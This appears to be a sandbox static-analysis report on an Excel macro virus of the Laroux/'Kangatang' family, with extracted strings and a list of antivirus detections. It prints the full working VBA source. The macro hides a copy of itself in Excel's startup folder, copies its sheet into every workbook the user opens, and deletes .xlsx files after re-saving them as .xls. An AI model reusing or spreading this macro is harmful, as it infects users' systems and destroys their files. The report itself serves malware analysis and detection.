popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "Kangatang"

Sub Auto_Open()
Application.EnableCancelKey = xlDisabled


'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub Auto_Close()
On Error Resume Next
Application.DisplayAlerts = False
If Right(ThisWorkbook.Name, 4) <> "xlsx" Or Application.Version <= 11 Then Exit Sub
ThisWorkbook.SaveAs Filename:=ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xlsx", ".xls"), _
FileFormat:=xlExcel8, Password:="", WriteResPassword:="", _
ReadOnlyRecommended:=False, CreateBackup:=False
Kill ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xls", ".xlsx")
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
 
 
 End If
End Sub

Deobfuscated

                                        Attribute VB_Name = "Kangatang"

Sub Auto_Open()
Application.EnableCancelKey = xlDisabled


'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub Auto_Close()
On Error Resume Next
Application.DisplayAlerts = False
If Right(ThisWorkbook.Name, 4) <> "xlsx" Or Application.Version <= 11 Then Exit Sub
ThisWorkbook.SaveAs Filename:=ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xlsx", ".xls"), _
FileFormat:=xlExcel8, Password:="", WriteResPassword:="", _
ReadOnlyRecommended:=False, CreateBackup:=False
Kill ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xls", ".xlsx")
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
 
 
 End If
End Sub
B
"#,##0;"
"\-#,##0
"#,##0;[Red]"
"\-#,##0
"#,##0.00;"
"\-#,##0.00
"#,##0.00;[Red]"
"\-#,##0.00
"* #,##0_ ;_ "
"* \-#,##0_ ;_ "
"* "-"_ ;_ @_
_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_
"* #,##0.00_ ;_ "
"* \-#,##0.00_ ;_ "
"* "-"??_ ;_ @_
_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_
\$#,##0_);\(\$#,##0\)
\$#,##0_);[Red]\(\$#,##0\)
\$#,##0.00_);\(\$#,##0.00\)
\$#,##0.00_);[Red]\(\$#,##0.00\)
\$#,##0.00;\$\-#,##0.00
"US$"#,##0
[$-10000]d\ mmmm\ yyyy;@
[$-10000]d\ mmm\ yyyy;@
"US$"#,##0.0
[$USD]\ #,##0_);[Red]\([$USD]\ #,##0\)
[$USD]\ #,##0.00_);[Red]\([$USD]\ #,##0.00\)
_("$"* #,##0.00_);_("$"* \(#,##0.00\);_("$"* "-"??_);_(@_)
[$-804]General
_ [$USD]\ * #,##0_ ;_ [$USD]\ * \-#,##0_ ;_ [$USD]\ * "-"_ ;_ @_
_([$AUD]\ * #,##0_);_([$AUD]\ * \(#,##0\);_([$AUD]\ * "-"_);_(@_)
_([$USD]\ * #,##0_);_([$USD]\ * \(#,##0\);_([$USD]\ * "-"_);_(@_)
_([$SGD]\ * #,##0_);_([$SGD]\ * \(#,##0\);_([$SGD]\ * "-"_);_(@_)
[$SGD]\ #,##0.00
[$INR]\ #,##0.00_);[Red]\([$INR]\ #,##0.00\)
[$$-409]#,##0.00;[Red]"-"[$$-409]#,##0.00
[$USD]\ #,##0
#,##0.00_
"$"#,##0_);\("$"#,##0\)
"$"#,##0_);[Red]\("$"#,##0\)
"$"#,##0.00_);\("$"#,##0.00\)
"$"#,##0.00_);[Red]\("$"#,##0.00\)
_("$"* #,##0_);_("$"* \(#,##0\);_("$"* "-"_);_(@_)
[$USD]\ #,##0;[$USD]\ \-#,##0
"#,##0;\-"
"#,##0
"#,##0;[Red]\-"
"#,##0
"#,##0.00;\-"
"#,##0.00
"#,##0.00;[Red]\-"
"#,##0.00
"* #,##0_-;\-"
"* #,##0_-;_-"
"* "-"_-;_-@_-
_-* #,##0_-;\-* #,##0_-;_-* "-"_-;_-@_-
"* #,##0.00_-;\-"
"* #,##0.00_-;_-"
"* "-"??_-;_-@_-
_-* #,##0.00_-;\-* #,##0.00_-;_-* "-"??_-;_-@_-
_(\$* #,##0_);_(\$* \(#,##0\);_(\$* "-"_);_(@_)
_(\$* #,##0.00_);_(\$* \(#,##0.00\);_(\$* "-"??_);_(@_)
dd/mmm/yyyy
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)}
##0.00\)
_);_(@_)}
##0.00\)
##0.00\)}
##0.00\)
##0.00\)
##0.00\)}
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
##0.00\)
20% - Accent1
20% - Accent2
20% - Accent3
20% - Accent4
20% - Accent5
20% - Accent6
40% - Accent1
40% - Accent2
40% - Accent3
40% - Accent4
40% - Accent5
40% - Accent6
60% - Accent1
60% - Accent2
60% - Accent3
60% - Accent4
60% - Accent5
60% - Accent6
Accent1
Accent2
Accent3
Accent4
Accent5
Accent6
Calculation
Check Cell
Explanatory Text
Heading 1
Heading 2
Heading 3
Heading 4
Linked Cell
Neutral
Output
Warning Text
Kangatang
Sheet1
Shenzhen
Branch
Customer Company
Customer
(People)
Follower
LE TRANS
SHENZHEN TOP IDEAL
GUANGZHOU THE ONEPLUS LOGISTI
across
captain
meiko trans
RAINBOW LOGISTICS SHENZHEN
mascot
Ventana Serra guangzhou
steven
HUNICORN SHIPPING SHENZHEN
Cecilia
SILKROAD INTERNATIONAL
SHENZHEN INDO-CHINA
WEN-PARKER LOGISTICS SHENZHEN
pert wittwer
Dimerco
GUANGZHOU HUANHAI SHIPPING LI
SHENZHEN HUATONGHAI SHIPPING
Tung Hing
SHANGHAI JLS INTERNATIONAL
MORRISON EXPRESS SHENZHEN
William
mairon
[Content_Types].xml
_rels/.rels
theme/theme/themeManager.xml
theme/theme/theme1.xml
g?gs+W
P-$Y#<
+EE\}~)W
theme/theme/_rels/themeManager.xml.rels
K(M&$R(.1
[Content_Types].xmlPK
_rels/.relsPK
theme/theme/themeManager.xmlPK
theme/theme/theme1.xmlPK
theme/theme/_rels/themeManager.xml.relsPK
ffffff
ffffff
333333
?333333
ffffff
ffffff
333333
?333333
If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
\mypersonnel.xls
mypersonnel.xls!allocated
Kangatang
Kangatang
Attribut
e VB_Nam
e = "Kan
Sub Aut
o_Open()
Applic
ation.En
ableCanc elKey
zxl(Dis
'If This
Workbook
.Path <>
LSTART"
7SaveA
s Filen
@\mype
rsonel.x
yAlerts
n Error
9Scr@eenUpd
ws(1).Vi<si
heetActi
*!allo
wRight(C
<= 11
Exit B(
Format@:=xlEx
, Passwo rd:="
Wr8ite
adOnlyRe
commende
a, Cre
Backup:=
cKill+r
<a9T
Scurrepntsh
.as befor~e@
.Selec@
Win64x
Project1
stdole
VBAProject
Office
Module1b
_Evaluate
Kangatang
Auto_OpenV `
Application
EnableCancelKey
xlDisabled
DisplayAlerts
ThisWorkbook|
StartupPathi
ScreenUpdating!
Windows
Visible
SaveCopyAsT
Filenamej
OnSheetActivate
Auto_Closew
Version
SaveAsf;`
Replacef
FileFormat
xlExcel8
Password
WriteResPassword
ReadOnlyRecommended
CreateBackup
allocated
ActiveWorkbook
Sheets
currentsh
ActiveSheet%N`
before
_B_var_Right9
VBAProje
stdole>
*\G{00
020430-
6}#2.0#0
#C:\Wind
ows\SysW OW64\
tlb#OLE
Automati
EOffDic
2DF8D04C
-5BFA-10
1B-BDE5
gram Fil
es (x86)
\Common
\Microso
ft Share
d\OFFICE
16\MSO.D
P 16 .0 Ob
ibrary
KangDat
Project1
VBAProject
Module1
Kangatang
C:\Program Files (x86)\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
C:\Windows\SysWOW64\stdole2.tlb
stdole
C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\MSO.DLL
Office
Auto_Open
Auto_Close
allocated
VBE7.DLL
Kangatang
ID="{06D54D6C-375B-48C5-82F6-D65F243921AE}"
Module=Kangatang
ame="VBAProject"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="0D0FDA845EE262E262E262E262"
DPB="6F6DB82678EADBEBDBEBDB"
GC="D1D306AB07AB0754"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
Microsoft Excel
Sheet1
Worksheets
Microsoft Excel 2003 Worksheet
Excel.Sheet.8
Root Entry
Workbook
_VBA_PROJECT_CUR
Light1
Arial1
Arial1
Arial1
Arial1
Light1
-804]#,##0.00;[Red]"-"[$
-804]#,##0.00
20% - Accent1
20% - Accent2
20% - Accent3
20% - Accent4
20% - Accent5
20% - Accent6
40% - Accent1
40% - Accent2
40% - Accent3
40% - Accent4
40% - Accent5
40% - Accent6
60% - Accent1
60% - Accent2
60% - Accent3
60% - Accent4
60% - Accent5
60% - Accent6
Accent1
Accent2
Accent3
Accent4
Accent5
Accent6
Calculation
Check Cell
ColLevel_1
Comma [0]
Currency
Currency [0]
Explanatory Text
Followed Hyperlink
Heading 1
Heading 2
Heading 3
Heading 4
Hyperlink
Linked Cell
Neutral
Normal
Output
Percent
RowLevel_1
RowLevel_2
RowLevel_3
RowLevel_4
Warning Text
TableStyleMedium2PivotStyleLight16
pppppppppppppplplpplpplp
Kangatang
__SRP_2
__SRP_3
_VBA_PROJECT
$*\Rffff*0?671131ef
*\R1*#3e4
*\R1*#132
*\R1*#121
*\R1*#13b
*\R0*#f
*\R1*#6c
*\R0*#12
*\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\Program Files (x86)\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL#Visual Basic For Applications
*\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE#Microsoft Excel 16.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\SysWOW64\stdole2.tlb#OLE Automation
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\MSO.DLL#Microsoft Office 16.0 Object Library
Kangatang
0?671131ef
Kangatang
__SRP_0
__SRP_1
PROJECTwm
gKangatang
PROJECT
SummaryInformation
DocumentSummaryInformation
CompObj
Antivirus Signature
Bkav X97M.Kagatang
Lionic Virus.MSExcel.Laroux.n!c
Elastic malicious (high confidence)
MicroWorld-eScan VB:Trojan.VBA.Agent.BEL
FireEye VB:Trojan.VBA.Agent.BEL
CAT-QuickHeal X97M.Agent.34591
ALYac VB:Trojan.VBA.Agent.BEL
Malwarebytes Clean
VIPRE VB:Trojan.VBA.Agent.BEL
Sangfor Malware.Generic-Macro.Save.1d3b7388
K7AntiVirus Virus ( 005a5d481 )
K7GW Virus ( 005a5d481 )
Baidu VBA.Trojan.Agent.el
VirIT Clean
Cyren X97M/Laroux.gen
Symantec X97M.Laroux.gen
ESET-NOD32 Escoper.B
Cynet Malicious (score: 99)
TrendMicro-HouseCall Clean
Avast VBA:Dropper-BC [Trj]
ClamAV Xls.Malware.ExcelSic-10004731-1
Kaspersky Virus.MSExcel.Laroux.lh
BitDefender VB:Trojan.VBA.Agent.BEL
NANO-Antivirus Trojan.Script.Agent.fkbqor
ViRobot X97M.Kangatang.A
Rising Macro.Excel.Laroux.hm (CLASSIC)
Sophos XM/Laroux-BW
F-Secure Heuristic.HEUR/Macro.Downloader.MRACS.Gen
DrWeb Trojan.MulDrop23.57765
Zillya Clean
TrendMicro Virus.X97M.KANGATANG.CPACS
McAfee-GW-Edition BehavesLike.OLE2.Laroux.nr
CMC Clean
Emsisoft VB:Trojan.VBA.Agent.BEL (B)
SentinelOne Static AI - Malicious OLE
GData VB:Trojan.VBA.Agent.BEL
Jiangmin MSExcel.Script.acb
Avira HEUR/Macro.Downloader.MRACS.Gen
MAX malware (ai score=81)
Antiy-AVL Trojan[Downloader]/MSOffice.Agent.n
Gridinsoft Clean
Xcitium Malware@#3lul0pkw0nefx
Arcabit VB:Trojan.VBA.Agent.BEL
SUPERAntiSpyware Clean
ZoneAlarm UDS:DangerousObject.Multi.Generic
Microsoft Virus:X97M/Laroux.A
Google Detected
AhnLab-V3 X97M/Laroux
Acronis suspicious
McAfee X97M/Laroux.f
TACHYON Clean
VBA32 Clean
Zoner Clean
Tencent OLE.Win32.Macro.704118
Yandex Clean
Ikarus Virus.XLS.Escoper
MaxSecure Virus.W32.MSExcel.Laroux.lh
Fortinet VBA/Valyria.3004!tr
BitDefenderTheta Clean
AVG VBA:Dropper-BC [Trj]
Panda Clean
No IRMA results available.